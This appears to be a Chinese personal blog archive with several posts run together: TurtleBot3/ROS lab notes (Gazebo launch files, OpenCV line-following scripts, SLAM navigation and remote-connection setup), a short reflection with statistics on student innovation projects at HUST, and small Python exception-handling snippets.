<arg name="paused" value="false"/>
<arg name="use_sim_time" value="true"/>
<arg name="gui" value="true"/>
<arg name="headless" value="false"/>
<arg name="debug" value="false"/>
</include>

<param name="robot_description" command="$(find xacro)/xacro $(find turtlebot3_description)/urdf/turtlebot3_$(arg model).urdf.xacro" />

<node pkg="robot_state_publisher" type="robot_state_publisher" name="robot_state_publisher">
<param name="publish_frequency" type="double" value="30.0" />
</node>

<node pkg="gazebo_ros" type="spawn_model" name="spawn_urdf" args="-urdf -model turtlebot3_$(arg model) -x $(arg x_pos) -y $(arg y_pos) -z $(arg z_pos) -param robot_description" />
</launch>

---------------0course.launch End----------------

# 在自己的功能包下新建worlds文件夹,并自行设置0course.launch的内容

---------------course.world Beg----------------

<sdf version="1.4">
<world name="default">

<scene>
<ambient>0.4 0.4 0.4 1</ambient>
<background>0.7 0.7 0.7 1</background>
<shadows>true</shadows>
</scene>

<!-- A global light source -->
<include>
<uri>model://sun</uri>
</include>

<!-- A ground plane -->
<include>
<uri>model://ground_plane</uri>
</include>

<!-- Our ground image -->
<include>
<uri>model://turtlebot3_autorace/course</uri>
<pose> 0 0 0 0 0 -1.54</pose>
</include>

<physics type="ode">
<real_time_update_rate>1000.0</real_time_update_rate>
<max_step_size>0.001</max_step_size>
<real_time_factor>1</real_time_factor>
<ode>
<solver>
<type>quick</type>
<iters>150</iters>
<precon_iters>0</precon_iters>
<sor>1.400000</sor>
<use_dynamic_moi_rescaling>1</use_dynamic_moi_rescaling>
</solver>
<constraints>
<cfm>0.00001</cfm>
<erp>0.2</erp>
<contact_max_correcting_vel>2000.000000</contact_max_correcting_vel>
<contact_surface_layer>0.01000</contact_surface_layer>
</constraints>
</ode>
</physics>
</world>

</sdf>

---------------course.world End----------------

roslaunch learning_topic 0course.launch

---------------03follower_color_filter.py Beg----------------

#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2, cv_bridge , numpy
from sensor_msgs.msg import Image
# 导入模块
class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge() #创建CvBridge对象
self.image_sub=rospy.Subscriber('/camera/rgb/image_raw',Image,self.image_callback)
# 函数变量分别为:接受节点 、 接受消息类型、 回调函数
def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg)
if(image.all()!=None):
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
# 进行消息-> rgb -> hsv格式变量 的两步转换
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
# 建立蒙版参量 参量使用指针格式(inRange函数的要求)
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
masked = cv2.bitwise_and(image,image,mask=mask)
# 使用蒙版进行二值化 bitwise
cv2.namedWindow("showYellowOnly",cv2.WINDOW_NORMAL)
cv2.imshow("showYellowOnly",mask) #进行显示
cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

---------------03follower_color_filter.py End----------------

---------------04follower_line_finder.py Beg----------------

#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2, cv_bridge , numpy
from sensor_msgs.msg import Image

class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge()
self.image_sub = rospy.Subscriber(
'/camera/rgb/image_raw',
Image,
self.image_callback )

def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg,
desired_encoding='bgr8')
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
# 同Exp4-2相同 不多做介绍
h,w,d= image.shape
top = 3*h/4
bot = top + 20
# 在图像的下3/4处进行切片 注意:image纵向向下为x正向 横向向右为y正向
mask[int(0):int(top),:] = 0
mask[int(bot):int(h),:] = 0
M = cv2.moments(mask)
#moments(): Opencv中用于计算图像中心的函数类 参见Opencv官网
if M['m00']>0:
cx = int(M['m10']/M['m00'])
cy = int(M['m01']/M['m00'])
cv2.circle(image,(cx,cy),20,(0,0,255),-1)
# 对切片之后的图像计算中心,并标记小圆圈
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL)
cv2.imshow("showImage",image)
cv2.namedWindow("findLine",cv2.WINDOW_NORMAL)
cv2.imshow("findLine",mask)
cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

---------------04follower_line_finder.py End----------------

---------------05follower_proporation.py Beg----------------

#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2, cv_bridge , numpy
from sensor_msgs.msg import Image
from geometry_msgs.msg import Twist

class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge()
self.image_sub = rospy.Subscriber('/camera/rgb/image_raw',Image,self.image_callback)
self.cmd_vel_pub = rospy.Publisher('cmd_vel',Twist,queue_size =1)
self.twist =Twist()

def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg,desired_encoding='bgr8')
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
h,w,d= image.shape
top = 5*h/6
bot = top + 20
mask[int(0):int(top),:] = 0
mask[int(bot):int(h),:] = 0
#cut the image to a blade
M = cv2.moments(mask)
#class MOMENTS
if M['m00']>0:
cx = int(M['m10']/M['m00'])
cy = int(M['m01']/M['m00'])
cv2.circle(image,(cx,cy),20,(0,0,255),-1)
err = cx-w/2
self.twist.linear.x = 0.15 #(注:小车的速度不易设置太快,否则容易脱离跑道)
self.twist.angular.z = -float(err)/1000
self.cmd_vel_pub.publish(self.twist)
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL)
cv2.imshow("showImage",image)

cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

---------------05follower_proporation.py End----------------

个人看法,不做严格考证

前言

  本来是因为好奇大创是什么,并且对课题都挺感兴趣的,所以就顺便加了。但是对大创我了解得很少很浅。

  之所以写这个,也只是感觉我们学院的大创在2021年明显比2020年要多得多了。

  仔细研究之后我总结了以下两方面:

  ①因为我大二了,我更关注这个,所以主观觉得它变多了。

  ②因为政策支持,客观上确实增多了。

  实际上第一个原因才是我研究这个问题的根本原因,但是在探索过程中我很明显地注意到第二个现象确实一定意义上可以说是成立的。并且也找到了相关政策。

  看来我得好好关注时事,多关注这些政策性文件。

  ps: 之前希望用这个题材水一篇学生会的微信报题,所以罗列三大基本问题,认真总结出了一大堆结论,以至于陷入第二系统综合症(《人月神话》)——完全没必要——我完全不关心大创到底能给我带来什么,我只是好奇大创为什么多而已——恼怒地扔掉几万字的草稿。

查了半天查到的文件

  2019年7月10日,教育局印发《国家级大学生创新创业训练计划管理办法》

  以前也是有类似的文件的,不过在网上公开查询得到的并没有像这个文件这样一条一条严格且有范围得地说清楚。

  这个文件名里点明了高校需要做的事情。

1
2
3
4
5
6
7
第七条 高校是国创计划实施和管理的主体,主要职责是:
(一)制定本校大学生创新创业教育管理办法,开展创新创业教育教学研究与改革。
(二)负责国创计划项目的组织管理,开展项目遴选推荐、过程管理、结题验收等工作。
(三)制定相关激励措施,引导教师和学生参与国创计划。
(四)为参与项目的学生提供技术、场地、实验设备等条件支持和创业孵化服务。
(五)搭建项目交流平台,定期开展交流活动,支持学生参加相关学术会议,为学生创新创业提供交流经验、展示成果、共享资源的机会。
(六)做好本校国创计划年度总结和上报工作。

  不过我想,在文件下发之前估计大家也都是这么做的。但是文件下发之后这么做的人肯定会更多了。

  一年的大创通常在3~4月截止申报,也就是2019年的大创不受这个文件的影响。2020的大创申报和这个文件印发的时间差不了几个月,大创项目数量就明显激增了,可以看到宣传力度都是在提高的。去年大一下我在家里摸了别的团队的鱼没往这方面查探罢了。

  注意:2020年大创数目就激增了,不是2021才开始的。

  同时由于学工网站的同步一向令人无法信任,2019年的可能存在遗漏,所以……所以有可能2019的比这个数目要多……那么数据的对比度就降低了。

  HUST客观数据如下(2021尚未更新,理应更多):

年份 创新训练 创业训练 创业实践 参加总人数 本科总人数
2019 341 17 9 1148 29599
2020 1459 27 11 5683 29754
2021 1260 17 7 5125 29479

  2021的大创项目这个数量和频率简直再正常不过了。

  同时,我仔细回想了一下,今年的2020新生群里的大创信息明显要少于、晚于我们2019新生群的,所以大一只是有很多的机会没人知道罢了,并不是说这个项目本身的数量今年才增多。

  为了保证我的数据的可信度,我写下了我的第一个爬虫。爬取HUB系统2019-2021的大创项目信息: 很简单的一个小爬虫,头一次写,够用就行了。(ps:要不是华科官网简陋得很我第一次写爬虫也不至于盯上它hhhhh) 需要登录官网之后在程序中填入自己的Cookie才能使用。 (gitee.com)

尾记

  既然不是为了宣传大创也不是为了解答别人的疑惑,就不要去想着瞎回答问题耗时耗力。要是目标明确地直接查文件,这个问题早就弄明白了。

  有这时间多看看《人月神话》之类的感兴趣的东西或者多看看我的别的问题它不香吗。

# SLAM地图构建和导航

准备

  • 本实验新用的功能包:

    注意ros版本。

1
2
sudo apt-get install ros-noetic-map-server # 用到map_server中的map_saver
sudo apt-get install ros-noetic-navigation # 导航包navigation

正式开始

  1. 配置网络连接gedit ~/.bashrc。
  2. 建立远程控制连接。
  3. SLAM建图。
  4. 保存SLAM地图。
  5. 读取保存的地图文件并实现导航。

详见order.txt及注释。

order.txt

A表示主机,B表示从机,数字k表示第k个终端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# 1. 网络配置
A1:
ifconfig # 查看主机IP地址
gedit ~/.bashrc # 在.bashrc文件中进行网络配置
... # 详见上一篇博客https://shandianchengzi.gitee.io/2021/03/19/ROS%E8%BF%9C%E7%A8%8B%E6%8E%A7%E5%88%B6/
source ~/.bashrc # 使网络配置生效
roscore # 启动roscore并检验网络配置是否成功
B1:
ssh -Y pi@192.168.1.133 # ssh连接从机
ifconfig # 查看从机IP地址
gedit ~/.bashrc
...
source ~/.bashrc
roscore

# 2. 建立远程控制连接
B2:
ssh -Y pi@192.168.1.133
roslaunch turtlebot3_bringup turtlebot3_robot.launch # 在机器人桌面终端调用Turtlebot3 应用程序

# 3. SLAM建图
A2:
roslaunch turtlebot3_slam turtlebot3_slam.launch # 执行slam启动命令
A3:
rosrun rviz rviz -d `rospack find turtlebot3_slam`/rviz/turtlebot3_slam.rviz # 在Rviz中打开模拟界面
# rviz的使用说明:
# https://zhuanlan.zhihu.com/p/64603248
A4:
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch # 启动键盘控制teleop命令
# 操作:操控机器人把实验场地都浏览一遍
# 1、扫描过程中需要注意尽量不要使机器人与环境产生接触。
# 2、不要人为在机器人附近活动。
# 3、不要将机器人速度提升到太快,太快的移动速递会导致环境探测信号量减少。
# 4、按照规范操作,以便得到正确的地形数据。

# 4. 保存SLAM地图
A5:
sudo apt-get install ros-noetic-map-server # 若已经下载了map_server功能包,则可以略过这个指令
rosrun map_server map_saver -f ~/map # 保存SLAM地图至~/map。将生成map.pgm/map.yaml两个文件
A2/A3/A4:Ctrl+C # 停止A3/A4/A5中运行的程序

# 5. 读取保存的地图文件,并实现导航
A2:
rosrun rviz rviz -d `rospack find turtlebot3_slam`/rviz/turtlebot3_slam.rviz # 在Rviz中打开模拟界面
A3:
sudo apt-get install ros-noetic-navigation # 若已经下载了navigation功能包,则可以略过这个指令
roslaunch turtlebot3_navigation turtlebot3_navigation.launch map_file:=$HOME/map.yaml # 读取测量好的地图数据~/map.yaml
# 操作:确定机器人相对于地图所处的位置和初始姿态:
# 点击工具栏2D Pose Estimate按键。
# 在地图上点击机器人相对于环境的正确位置并拖动箭头以确定机器人的姿态,可以通过多次调整确定最合适的初始位置设定。
# 注:完成设定后的绿色箭头便表示了机器人相对于地图所处的位置和初始姿态,机器人上的激光传感器同时会测量周围环境,可以通过实时测量的环境信息对初始位置进行校对(红点)。如果发现位置不正确可以重复定位操作。
# 操作:设定目标位置和目标姿态,设定方法如下:
# 点击工具栏2D Nav Goal按键。
# 点击一个确定的点并拖动箭头以设定目标位置和机器人最后停止的方向。
# 注:实验过程中要求操作者确定好初始位置和目的位置及姿态之后,机器人便会自行计算运行路径并移动至目标点。

常见问题

  本次实验建立在完整的连接和已有的控制命令中,不需要操作者参与计算,操作较为简单,可以在熟悉操作的情况下没有障碍的完成时实验。

  主要会出现的情况有:

  如果没有确定好初始位置开始进行扫描测量地形,其地图初始点未知,在导航实验中如果不能从原出发点开始运行,会产生地图定位不准的问题,所以在一定程度上也会影响到内部程序对轨迹规划的运算,因为在导航功能中小车的轨迹规划是同时计算原测量地图和实时雷达扫描障碍物的最优解。

  在开始导航前,应尽可能多次拖动箭头来精确的确定小车的位置,否则可能出现小车无法启动的情况,因为当构建的地图面积不大时,小车的起始位置的相对误差就会变大,所以为了能使小车精确的进行导航,应该尽可能精确地确定小车的起始位置。

  同时,在实验中杂乱的周边环境对导航功能也会产生较大影响。所以总的来说,小车的运行原理和计算能力对实验场地提出了一定要求。

异常处理

1
2
3
4
try:
print("[+] 1037/0 = "+str(1037/0))
except Exception as e: #python2: except Exception,e:
print("[-] Error = "+str(e))

数据类型转换

bytes、str

处理bytes

Ctrl+C终止程序

1
2
3
4
5
6
import sys

try:
#main
except KeyboardInterrupt:
sys.exit()

或者用signal。

机器人连接和远程控制

准备

充电

  • 充电有两种方式:

    ①直接供电:电源适配器连接树莓派上的圆孔;

    ②电池供电:电源适配器插到蓝色的那个充电器,再将充电器与Burger底座的电池相连接。(当电池电量低于11V时,电池会发出持续的警报声,而且部分控件无法工作,此时应该将电池充电。)

    当机器人不需要挪动,即调试阶段时,建议采取直接供电的方式。

    直接供电真挺方便的,电池供电那个蓝色的充电器好难拔下来……

连接显示屏

  • 然后HDMI的插孔在USB插孔旁边,USB插孔在树莓派上面那一层。

    那一排USB之后还可以接鼠标键盘等。

  • 显示器的HDMI插孔可能在机子后边,多看看多找找,插得上的就是了。

  • 然后,给显示器供电。先插线,再打开Burger开关!(开关在树莓派上),然后显示器就会有信号输入。

联网

将Burger和主机连到同一个局域网中。

  • 主机连WiFi不用多说。
  • Burger连WiFi是在显示屏上面操作,和主机连WiFi没啥区别。
问题 解决办法
为啥要连同一个WiFi? 答:ROS系统在使用过程中,移动机器人需要访问并传递信息到远程电脑建立的程序核心服务器(roscore),信息不经过互联网,所以只能在局域网中进行连接。
Ubuntu虚拟机连不上WiFi 1. 虚拟机-设置-网络适配器,选择桥接模式。
2. 编辑-虚拟网络编辑器-更改设置,在桥接的那个网卡中,把WiFi网卡改成自己的网卡。(真机上查看网络属性有网卡名字)
真机连不上WiFi ①连上了,只是上不了网。不行就算了,没必要有网。真想有就登录路由器管理界面(路由器盒子底下的网址),多设置设置,看看路由器是否可以连上别的网。
②连不上。看看有没有对应的WiFi名称。如果连WiFi名字都搜不到,考虑重启路由器,还是不行就把路由器恢复出厂设置,再不行就看看别人搜得到吗,都不行就换个路由器……
小车连不上WiFi wlan0是无线网卡,eth0是有线网卡。以下仅针对无线连接。
1. 如果连接成功,但是WiFi频繁闪烁:ifconfig检查wlan0网卡的IP地址是否正常。如果IP地址是115之类的奇怪数字,说明dhcp自动获取IP有问题。一般是因为树莓派的网卡设置有误。
解决方案:尝试用网线有线连接小车。或尝试手动获取IP地址。
2. 如果无法自动获取IP地址:
解决方案1:修改dhcpcd.conf:sudo nano /etc/dhcpd.conf
滑到最底端,删除曾连接过的wifi名称和密码。
ctrl+o保存,ctrl+x退出,sudo reboot重启(或者手动重启),然后再次连接网络即可。
解决方案2:sudo dhclient -d wlan0 #删除dhcp获取的ip
sudo dhclient wlan0 -v #dhcp自动获取ip

如何丢掉显示屏

方法一:ssh连接

优点:稳定;缺点:命令行操作,不好看。

ssh -Y【Burger的用户名】@【Burger的IP】

  1. 首先需要检查【主机】和【Burger】的 IP 地址。
    打开终端,在终端中输入 ifconfig。

    如果你不希望之后频繁更改配置,你可以为Burger分配静态IP。

  2. 记住【Burger的IP】、【Burger的用户名】、【主机IP】。

  3. 主机中输入ssh -Y【Burger的用户名】@【Burger的IP】(这里是pi@192.168.1.133)

    -Y参数可以让你之后能直接在主机上gedit小车的.bashrc文件。如果不加这个参数,你可以使用nano编辑文件。(比如sudo nano ~/.bashrc)

  4. 输入密码(默认turtlebot,不排除有人二次改动),连接成功。

方案二:远程桌面连接mstsc

优点:好看;缺点:连接时不稳定。

  1. 在小车中安装xrdp服务:
1
pi@raspberrypi:~ $ sudo apt-get install xrdp
  1. 打开win电脑的远程桌面:win+r,输入mstsc,回车,输入ip,回车。
  2. 输入账号密码,连接成功,显示桌面。

网络配置

  1. 【主机】、【Burger】的终端中运行:

    gedit ~/.bashrc。

  2. 在.bashrc中追加(或修改)(注意空格):

    【主机】:

    export ROS_MASTER_URI=http://【主机 IP】:11311
    export ROS_HOSTNAME=【主机 IP】
    export TURTLEBOT3_MODEL=burger

    【Burger】:
    export ROS_MASTER_URI=http://【主机 IP】:11311
    export ROS_HOSTNAME=【Burger的IP】

  3. 重启终端或者source ~/.bashrc,重新ssh连接。

  4. 解释:export TURTLEBOT3_MODEL=burger是为了在后续可视化操作中调用正确的三维模型【burger】。

  5. 显示器可以关了,之后的操作直接在主机上就能完成。

下载各种依赖包

请直接复制粘贴表格内容,如果遇到错误,请直接查看最右侧解决方案。

下载完成的跳过这一步。如果报错,不要忘了回到这一步来看看喔!

依赖包 安装过程 安装报错时的解决方案
Turtlebot3的包 mkdir -p ~/catkin_ws/src
cd ~/catkin_ws/src
git clone https://hub.fastgit.org/ROBOTIS-GIT/turtlebot3_msgs.git
git clone https://hub.fastgit.org/ROBOTIS-GIT/turtlebot3.git
git clone https://hub.fastgit.org/ROBOTIS-GIT/hls_lfcd_lds_driver.git
cd ~/catkin_ws && catkin_make
sudo echo “source ~/catkin_ws/devel/setup.bash” >> ~/.bashrc
问题解决方案1————-catkin_make编译时候的各种问题汇总
roslaunch、使用rviz的时候需要的依赖包 sudo apt update
sudo apt-get install ros-noetic-gazebo-ros ros-noetic-gazebo-ros-control ros-noetic-robot-state-publisher ros-noetic-gmapping ros-noetic-rviz ros-noetic-joy ros-noetic-teleop-twist-joy ros-noetic-teleop-twist-keyboard ros-noetic-laser-proc ros-noetic-rgbd-launch ros-noetic-rosserial-arduino ros-noetic-rosserial-python ros-noetic-rosserial-client ros-noetic-rosserial-msgs ros-noetic-amcl ros-noetic-map-server ros-noetic-move-base ros-noetic-urdf ros-noetic-xacro ros-noetic-compressed-image-transport ros-noetic-rqt-image-view ros-noetic-gmapping ros-noetic-navigation ros-noetic-interactive-markers libasound2-dev
先更新源,然后报啥错就下啥包。(其中noetic更换为自己的ros版本。)

控制的流程

控制之前可以重启小车,因为刚刚准备工作运行了太多内容。

roscore检测网络配置是否正确

  1. 预期结果:【主机】、【Burger】都显示连接到【主机IP】。

  2. 异常情况:

    • 【主机】的IP值不对:按照配置Burger和主机的网络重新配置网络配置。

    • 【Burger】的IP值不对:

      • 如果显示器还开着,就按照配置Burger和主机的网络重新配置网络配置。

      • 如果显示器已经关掉了,却直接gedit ~/.bashrc,可能会显示连接不上。

        为了方便起见,我们在ssh连接后,直接在终端运行

        export ROS_MASTER_URI = http://【主机 IP】:11311
        export ROS_HOSTNAME = 【Burger的IP】

        从而可以直接改变小车对应的MASTER_URI。

        也可以把ssh连接的指令换成ssh -Y 用户名@IP,这样就能打开gedit了。

运行远程控制程序包

  1. 【Burger】:roslaunch turtlebot3_bringup turtlebot3_robot.launch

    解释:在机器人桌面终端调用Turtlebot3 应用程序。

  2. 【主机】:roslaunch turtlebot3_bringup turtlebot3_remote.launch

    解释:启动Turtlebot远程应用。

  3. 【主机】:rosrun rviz rviz -d `rospack find turtlebot3_description`/rviz/model.rviz

    解释:启动Rviz。

  4. 【主机】:roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch

    解释:运行无线操作依赖包中的键盘驱动程序。

  5. 在4中的终端中按w/a/s/d/x键就能用键盘远程控制小车。

order.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

# 主机的准备工作:
mkdir -p ~/catkin_ws/src
cd ~/catkin_ws/src
#github国内有时候访问不上,可使用hub.fastgit.org镜像
#git clone https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git
#git clone https://github.com/ROBOTIS-GIT/turtlebot3.git
#git clone https://github.com/ROBOTIS-GIT/hls_lfcd_lds_driver.git
git clone https://hub.fastgit.org/ROBOTIS-GIT/turtlebot3_msgs.git
git clone https://hub.fastgit.org/ROBOTIS-GIT/turtlebot3.git
git clone https://hub.fastgit.org/ROBOTIS-GIT/hls_lfcd_lds_driver.git

cd ~/catkin_ws && catkin_make
# 参考https://www.codenong.com/cs88087849/
sudo apt-get install ros-noetic-robot-state-publisher
sudo apt-get install ros-noetic-gmapping ros-noetic-rviz
sudo apt-get install ros-noetic-joy ros-noetic-teleop-twist-joy ros-noetic-teleop-twist-keyboard ros-noetic-laser-proc ros-noetic-rgbd-launch ros-noetic-rosserial-arduino ros-noetic-rosserial-python ros-noetic-rosserial-client ros-noetic-rosserial-msgs ros-noetic-amcl ros-noetic-map-server ros-noetic-move-base ros-noetic-urdf ros-noetic-xacro ros-noetic-compressed-image-transport ros-noetic-rqt-image-view ros-noetic-gmapping ros-noetic-navigation ros-noetic-interactive-markers

# 显示屏上:
ifconfig
# 记住【Burger的IP】192.168.1.133
# gedit ~/.bashrc
# 追加export ROS_MASTER_URI=http://【主机 IP】:11311
# 追加export ROS_HOSTNAME=【Burger的IP】
# source ~/.bashrc

# 主机终端A:
ifconfig
# 记住【主机IP】192.168.1.105
gedit ~/.bashrc
# 追加export ROS_MASTER_URI=http://【主机 IP】:11311
# 追加export ROS_HOSTNAME=【主机 IP】
# 追加export TURTLEBOT3_MODEL=burger
# 追加source ~/catkin_ws/devel/setup.bash
source ~/.bashrc
# roscore检查主机地址设置是否正确

# 主机终端B:
ssh -Y pi@【Burger的IP】
gedit ~/.bashrc
# 追加export ROS_MASTER_URI=http://【主机 IP】:11311
# 追加export ROS_HOSTNAME=【Burger的IP】
source ~/.bashrc
roscore

# 主机终端C:
ssh -Y pi@【Burger的IP】
roslaunch turtlebot3_bringup turtlebot3_robot.launch

# 主机终端D:
# roslaunch turtlebot3_bringup turtlebot3_remote.launch
rosrun rviz rviz -d `rospack find turtlebot3_description`/rviz/model.rviz
# 上一条注:开启仿真模拟rviz

# 主机终端E:
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch
# 上一条注:用wasd控制,可以看到rviz上的车也有动静;
# rviz:红色的是雷达检测的障碍物

流程

  1. 创建文件夹A,A下创建文件夹src:mkdir -p A/src
  2. src下:catkin_init_workspace
  3. A下:catkin_make
  4. src下,创建工作包learning_pkg:catkin_create_pkg learning_pkg
  5. A下:gedit ~/.bashrc,结尾添加source ~/A/devel/setup.bash
  6. 重启终端
  7. A下,测试环境变量是否添加成功:echo $ROS_PACKAGE_PATH

C++文件:

  1. learning_pkg的src下:添加一个xxx.cpp,然后gedit CMakeLists.txt,在154行加

    add_executable(xxx src/xxx.cpp)
    target_link_libraries(ccc ${catkin_LIBRARIES})

  2. A下:catkin_make

  3. 重启终端

Python文件:

  1. learning_pkg的src下:添加一个xx.py,然后右键设置成允许作为可执行文件。
  2. 重启终端(把小海龟也重启了)